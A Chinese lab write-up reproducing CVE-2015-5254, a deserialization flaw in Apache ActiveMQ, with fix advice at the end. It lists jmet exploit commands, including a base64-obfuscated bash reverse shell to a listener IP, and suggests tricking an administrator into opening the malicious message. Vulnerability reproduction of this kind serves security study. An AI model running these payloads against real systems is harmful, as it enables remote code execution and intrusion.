ActiveMQ-反序列化漏洞
漏洞描述
- 漏洞编号：CVE-2015-5254
- 影响版本：Apache ActiveMQ 5.13.0之前5.x版本
- 漏洞产生原因：该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
启动环境:docker-compose up -d
vulnIP:192.168.18.134
hackIP:192.168.18.216
nc监听IP:192.168.18.244
环境运行后，将监听61616和8161两个端口。其中61616是工作端口，消息在这个端口进行传递；8161是Web管理页面端口。访问:·http://192.168.18.134:8161· 即可看到web管理页面，不过这个漏洞理论上是不需要web的。
漏洞发现
直接访问页面，发现是一个Apache ActiveMQ的CMS框架，由于是漏洞复现，我们能很清楚的知道它的版本。如果不知道版本可通过乱输入路径进行报错，或是使用云悉指纹识别进行版本检测.
漏洞利用
1.构造（可以使用ysoserial）可执行命令的序列化对象
使用[jmet](https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar)进行漏洞利用。首先下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。
2.作为一个消息，发送给目标61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.18.134 61616
3.访问web管理页面，读取消息，触发漏洞
执行成功之后，此时会给目标ActiveMQ添加一个名为event的队列，我们可以通过http://192.168.18.134:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息：
点击查看这条消息即可触发命令执行，此时进入容器`docker-compose exec activemq bash`，可见/tmp/success已成功创建，说明漏洞利用成功：
将命令替换成弹shell语句再利用：
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.18.134 61616
问题汇总
值得注意的是，通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下，我们可以诱导管理员访问我们的链接以触发，或者伪装成其他合法服务需要的消息，等待客户端访问的时候触发。
修复方案
打补丁,http://activemq.apache.org/security-advisories.data/CVE-2015-5254-announcement.txt
升级到最新版本
有WAF的可以配置相关规则进行拦截
参考：流量分析
https://my.oschina.net/u/4587690/blog/4694179
注：docker-compose常用命令
拉镜像（进入到vulhub某个具体目录后）
docker-compose build
docker-compose up -d
镜像查询（查到的第一列就是ID值）
docker ps -a
进入指定镜像里面（根据上一条查出的ID进入）
docker exec -it ID /bin/bash
关闭镜像（每次用完后关闭）
docker-compose down
2021-01-01 18:58:51